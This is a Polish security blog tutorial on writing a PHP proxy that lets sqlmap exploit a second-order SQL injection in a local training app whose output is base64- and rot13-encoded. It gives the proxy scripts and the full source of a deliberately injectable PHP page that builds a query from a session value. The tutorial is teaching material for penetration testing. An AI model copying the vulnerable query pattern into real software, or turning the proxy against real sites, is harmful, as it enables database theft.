RODO okiem hackera! Praktyczne szkolenie od sekuraka z ochrony danych osobowych. Zapisz się tutaj.

Tworzenie własnego PHP Proxy dla narzędzi typu sqlmap – podstawy

13 czerwca 2019, 09:34 | Teksty | komentarze 4

Praca z narzędziami takimi jak sqlmap wymaga od nas czasami kreatywnego podejścia do realizowanych testów. Zdarza się, że czasami musimy znaleźć wywołanie naszego payloadu w innymi miejscu niż te, w którym występuje wstrzyknięcie, bądź musimy w odpowiedni sposób obrobić dane, aby narzędzie testujące zrozumiało odpowiedź strony.

https://pl.pinterest.com/pin/412923859572038212/?lp=true

Testowana przez nas aplikacja przyjmuje parametry metody GET w celu pokazania informacji o użytkowniku oraz w celu pokazania informacji o wszystkich użytkownikach. Ponadto zwracane informacje są z niejasnych względów „zakodowane” poprzez następującą kombinację funkcji:

  1. Konwersja do base64
  2. Wprowadzenie szyfru cezara z przesunięciem o 13 (rot13)

Przykładowe zapytanie aplikacji zwracające informacje o profilach:
http://127.0.0.1/?user=all

Odpowiedź serwera aplikacji:

HTTP/1.1 200 OK
Date: Fri, 10 May 2019 21:08:44 GMT
Set-Cookie: PHPSESSID=5032ing922fblkisveq29st9r4; path=/
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 167
Connection: close
Content-Type: application/json

{'data':'r3fanJDaBwRfW25uoJHaBvqApaZtFz9boaxaYPqcozMiWmbaFFOuoFOUo2Dto2LtqTucplO3MJWmnKEyW30frlqcMPp6ZvjaozSgMFp6W000qTIiWljanJ5zolp6W3qbLKDtnKZtM29cozptnTIlMG8asK0='}

Rozwiążmy zatem zawartość pola ‘data’, pierwszy krok to zdekodowanie zawartości według instrukcji znanych z początku artykułu.

Operacja ROT13:

Źródło ROT13
r3fanJDaBwRfW25uoJHaBvqApaZtFz9boaxaYPqcozMiWmbaFFOuoFOUo2Dto2LtqTucplO3MJWmnKEyW30frlqcMPp6ZvjaozSgMFp6W000qTIiWljanJ5zolp6W3qbLKDtnKZtM29cozptnTIlMG8asK0=
e3snaWQnOjEsJ25hbWUnOidNcnMgSm9obnknLCdpbmZvJzonSSBhbSBHb2Qgb2YgdGhpcyB3ZWJzaXRlJ30seydpZCc6MiwnbmFtZSc6J000dGVvJywnaW5mbyc6J3doYXQgaXMgZ29pbmcgaGVyZT8nfX0=

Operacja Base64 Decode:

Źródło Base64 Decode
e3snaWQnOjEsJ25hbWUnOidNcnMgSm9obnknLCdpbmZvJzonSSBhbSBHb2Qgb2YgdGhpcyB3ZWJzaXRlJ30seydpZCc6MiwnbmFtZSc6J000dGVvJywnaW5mbyc6J3doYXQgaXMgZ29pbmcgaGVyZT8nfX0=
{{'id':1,'name':'Mrs Johny','info':'I am God of this website'},{'id':2,'name':'M4teo','info':'what is going here?'}}

Aplikacja pozwala również na przeglądanie każdego użytkownika pojedynczo poprzez zapytanie:
http://127.0.0.1/?user=2

Odpowiedź serwera aplikacji:

HTTP/1.1 200 OK
Date: Fri, 10 May 2019 21:18:08 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 83
Connection: close
Content-Type: application/json

{'data':'rlqcMPp6ZvjaozSgMFp6W000qTIiWljanJ5zolp6W3qbLKDtnKZtM29cozptnTIlMG8asD=='}

Z racji, iż jest to aplikacja szkoleniowa – wiemy, że podatnym parametrem jest właśnie ‘user’ z metody GET. Niestety, aby nie było zbyt łatwo, występuje w tym miejscu atak Second Order SQL Injection, w tym przypadku niebezpieczny kod SQL nie da efektu bezpośrednio w odpowiedzi HTTP na wysyłane zapytanie, lecz po powrocie do spisu wszystkich użytkowników.

Sprawdźmy zatem ponownie odpowiedź API dla listingu wszystkich użytkowników po wcześniejszym przeglądnięciu jednego – czyli wracamy na stronę:
http://127.0.0.1/?user=all

Odpowiedź serwera aplikacji:

HTTP/1.1 200 OK
Date: Fri, 10 May 2019 21:23:41 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 255
Connection: close
Content-Type: application/json

{'data':'r3fanJDaBwRfW25uoJHaBvqApaZtFz9boaxaYPqcozMiWmbaFFOuoFOUo2Dto2LtqTucplO3MJWmnKEyW30frlqcMPp6ZvjaozSgMFp6W000qTIiWljanJ5zolp6W3qbLKDtnKZtM29cozptnTIlMG8asK0foTSmqSMcp2y0MJD6rlqcMPp6ZvjaozSgMFp6W000qTIiWljanJ5zolp6W3qbLKDtnKZtM29cozptnTIlMG8asD=='}

Ponownie zdekodujemy zawartość pola ‘data’.

Operacja ROT13:

Źródło ROT13
r3fanJDaBwRfW25uoJHaBvqApaZtFz9boaxaYPqcozMiWmbaFFOuoFOUo2Dto2LtqTucplO3MJWmnKEyW30frlqcMPp6ZvjaozSgMFp6W000qTIiWljanJ5zolp6W3qbLKDtnKZtM29cozptnTIlMG8asK0foTSmqSMcp2y0MJD6rlqcMPp6ZvjaozSgMFp6W000qTIiWljanJ5zolp6W3qbLKDtnKZtM29cozptnTIlMG8asD===
e3snaWQnOjEsJ25hbWUnOidNcnMgSm9obnknLCdpbmZvJzonSSBhbSBHb2Qgb2YgdGhpcyB3ZWJzaXRlJ30seydpZCc6MiwnbmFtZSc6J000dGVvJywnaW5mbyc6J3doYXQgaXMgZ29pbmcgaGVyZT8nfX0sbGFzdFZpc2l0ZWQ6eydpZCc6MiwnbmFtZSc6J000dGVvJywnaW5mbyc6J3doYXQgaXMgZ29pbmcgaGVyZT8nfQ===

Operacja Base64 Decode:

Źródło Base64 Decode
e3snaWQnOjEsJ25hbWUnOidNcnMgSm9obnknLCdpbmZvJzonSSBhbSBHb2Qgb2YgdGhpcyB3ZWJzaXRlJ30seydpZCc6MiwnbmFtZSc6J000dGVvJywnaW5mbyc6J3doYXQgaXMgZ29pbmcgaGVyZT8nfX0sbGFzdFZpc2l0ZWQ6eydpZCc6MiwnbmFtZSc6J000dGVvJywnaW5mbyc6J3doYXQgaXMgZ29pbmcgaGVyZT8nfQ===
{{'id':1,'name':'Mrs Johny','info':'I am God of this website'},{'id':2,'name':'M4teo','info':'what is going here?'}},
lastVisited:{'id':2,'name':'M4teo','info':'what is going here?'}

W odpowiedzi aplikacji pojawiło nam się pole ‘lastVisited’ – które to właśnie będzie wektorem naszego ataku.

Czy narzędzia automatyczne typu Burp, ZAP, WebInspect lub nawet dedykowany sqlmap w domyślnych konfiguracjach odnajdą błąd?
Odpowiedź brzmi: „nie”, ponieważ: po pierwsze jest to atak Second Order SQL Injection, po drugie zawartość kontekstu jest niestety kodowana w dość dziwny sposób.
Dowód nieudanego testu programem sqlmap.

Sposobem na automatyzację tego ataku jest stworzenie własnego skryptowego proxy.

Krok pierwszy to utworzenie skryptu, który pobierał będzie zawartość strony biorąc pod uwagę przekazany metodą GET parametr (nasz payload).

<?php
//utworzenie nazwy pliku w folderze tmp dla ciastek używanych w naszych zapytaniach
$cookie = tempnam ("/tmp", "phpproxy");
//wywołanie obiektu CURL dla adresu oraz zmiennej przekazanej w parametrze metody GET
$ch = curl_init ("http://127.0.0.1/?user=".urlencode($_GET['user']));
//ustawienie obsługi ciastek przez stworzony wyżej plik
curl_setopt ($ch, CURLOPT_COOKIEJAR, $cookie); 
//ustawienie flagi zwracającej zawartość odpowiedzi serwera
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
//wywołanie żądania http
$output = curl_exec ($ch);

//wyświetlenie zawartości odpowiedzi serwera
echo $output;
?>

Uruchamiamy nasze proxy w przeglądarce w celu weryfikacji, czy dane są pobierane:
http://localhost/proxy.php?user=2

Jak widać, podstawowe proxy działa, ale czy tego chcemy? Atak SQL Injection przez takie proxy nadal będzie niewykrywalny dla większości skanerów, bo praktycznie nic nie zostało zmienione.

Kolejnym krokiem zatem będzie postępowanie zgodnie z zasadami ataku Second Order, czyli weryfikacja kontekstu na innej podstronie.

<?php
echo "Step 1 - Send payload:<br />";

$cookie = tempnam ("/tmp", "phpproxy");
$ch = curl_init ("http://127.0.0.1/?user=".urlencode($_GET['user']));
curl_setopt ($ch, CURLOPT_COOKIEJAR, $cookie); 
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
$output = curl_exec ($ch);
echo $output;

echo "<br />Step 2 - Read data after injection:<br />";
$ch = curl_init ("http://127.0.0.1/?user=all");
curl_setopt ($ch, CURLOPT_COOKIEFILE, $cookie); 
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
$output = curl_exec ($ch);
echo $output;
?>

Dla przejrzystości dodaliśmy opisy kroków, w celu weryfikacji tego co się dzieje:
http://localhost/proxy.php?user=2

Za pomocą tego proxy już w tej chwili jesteśmy w stanie wykonać atak Second Order SQL Injection, jednak dane przekazywane są w nieczytelnej formie – co nadal unieszkodliwia większość skanerów.

Rozwińmy zatem kod o deszyfrowanie otrzymanych danych w celu ich łatwiejszej interpretacji:

<?php
echo "Step 1 - Send payload:<br />";

$cookie = tempnam ("/tmp", "phpproxy");
$ch = curl_init ("http://127.0.0.1/?user=".urlencode($_GET['user']));
curl_setopt ($ch, CURLOPT_COOKIEJAR, $cookie); 
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
$output = curl_exec ($ch);
echo $output;

echo "<br />Step 2 - Read data after injection:<br />";
$ch = curl_init ("http://127.0.0.1/?user=all");
curl_setopt ($ch, CURLOPT_COOKIEFILE, $cookie); 
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
$output = curl_exec ($ch);

//wykonanie reguły regexp w celu odnalezienia interesujących nas danych
preg_match('/\'data\':\'(.*)\'/', $output, $matches, PREG_OFFSET_CAPTURE);
echo $matches[1][0];

echo "<br />Step 3 - Decode data (rot13):<br />";
//zastosowanie szyfru ROT13 w celu odkodowania zawartości
$matches[1][0] = str_rot13($matches[1][0]);
echo $matches[1][0];

echo "<br />Step 4 - Decode data (base64):<br />";
//zastosowanie dekodowania base64 w celu odkodowania zawartości
$matches[1][0] = base64_decode($matches[1][0]);
echo $matches[1][0];
?>

Ponownie zweryfikujmy odwiedzając stronę przez proxy w naszej przeglądarce:
http://localhost/proxy.php?user=2

Proxy w obecnej postaci powinno umożliwić wykonanie ataku SQL Injection dla programu typu sqlmap:

W pełni wykonany atak pozwala na zrzut danych z bazy:

Podsumowując, warto posiadać odrobinę wiedzy programistycznej podczas realizacji testów bezpieczeństwa, chociażby właśnie po to, aby móc posiłkować się własnymi skryptami.

Jeżeli macie ochotę przetestować skrypt na własnej maszynie, znajdziecie go poniżej.

  1. Plik bazy danych:
    CREATE TABLE `users` (
      `id` int(11) NOT NULL,
      `login` text,
      `password` text,
      `nick` text,
      `info` text
    ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
    
    INSERT INTO `users` (`id`, `login`, `password`, `nick`, `info`) VALUES
    (1, 'admin', 'test!21', 'Mrs Johny', 'I am God of this website'),
    (2, 'matt', 'h4RDP@@s', 'M4teo', 'what is going here?');
    
    ALTER TABLE `users`
      ADD PRIMARY KEY (`id`);
    
    ALTER TABLE `users`
      MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;
    COMMIT;
  2. Plik podatnej strony:
    <?php
    session_start();
    error_reporting(0);
    header('Content-type: application/json');
    $servername = "localhost";
    $username = "LOGIN_DO_BAZY";
    $password = "HASŁO_DO_BAZY";
    $dbname = "test";
    
    $conn = new mysqli($servername, $username, $password, $dbname);
    if ($conn->connect_error) {
        die("Connection failed: " . $conn->connect_error);
    } 
    
    echo "{'data':";
    ob_start();
    if(@$_GET['user']=='all') {
    
    	echo "{";
    	$sql = "SELECT id, nick, info FROM users";
    	$result = $conn->query($sql);
    	$i = 0;
    	while($row = $result->fetch_assoc()) {
    		if ($i>0) { echo ","; }
    		echo "{'id':".$row["id"].",'name':'".$row["nick"]."','info':'".$row["info"]."'}";
    		$i++;
    	}
    	echo "}";
    
    	if (@$_SESSION['last'] != '') {
    		echo ",lastVisited:";
    		$sql = "SELECT id, nick, info FROM users WHERE id = ".$_SESSION['last'];
    		$result = $conn->query($sql);
    		while($row = $result->fetch_assoc()) {
    			echo "{'id':".$row["id"].",'name':'".$row["nick"]."','info':'".$row["info"]."'}";
    		}
    	}
    } else if (isset($_GET['user'])) {
    	$_SESSION['last'] = $_GET['user'];
    	$sql = "SELECT id, nick, info FROM users WHERE id = ".($_GET['user']*1);
    	$result = $conn->query($sql);
    	while($row = $result->fetch_assoc()) {
    		echo "{'id':".$row["id"].",'name':'".$row["nick"]."','info':'".$row["info"]."'}";
    	}
    } else {
    	echo 'null';
    }
    $content = ob_get_contents();
    ob_end_clean();
    
    echo "'".str_rot13(base64_encode($content))."'";
    
    $conn->close();
    echo "}";

    — Robert Kruczek, hakuje w Securitum

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Wowa

    Osobiście w takich sytuacjach tworzę tamper script do sqlmapa ale jak ktoś nie lubi/zna Pythona to rzeczywiście można sobie proxy w dowolnym języku stworzyć. Spoko artykuł

    Odpowiedz
  2. Wowa

    Ok tamper może być niewystarczający bo odpowiedź musi być zmieniona … nvm

    Odpowiedz
  3. wnnb

    Fajny artykuł, dziękuję.

    Odpowiedz
    • zero one

      Prawda. Dołączam się.
      Jeszcze ten obrazek. :-D

      Odpowiedz

Odpowiedz na zero one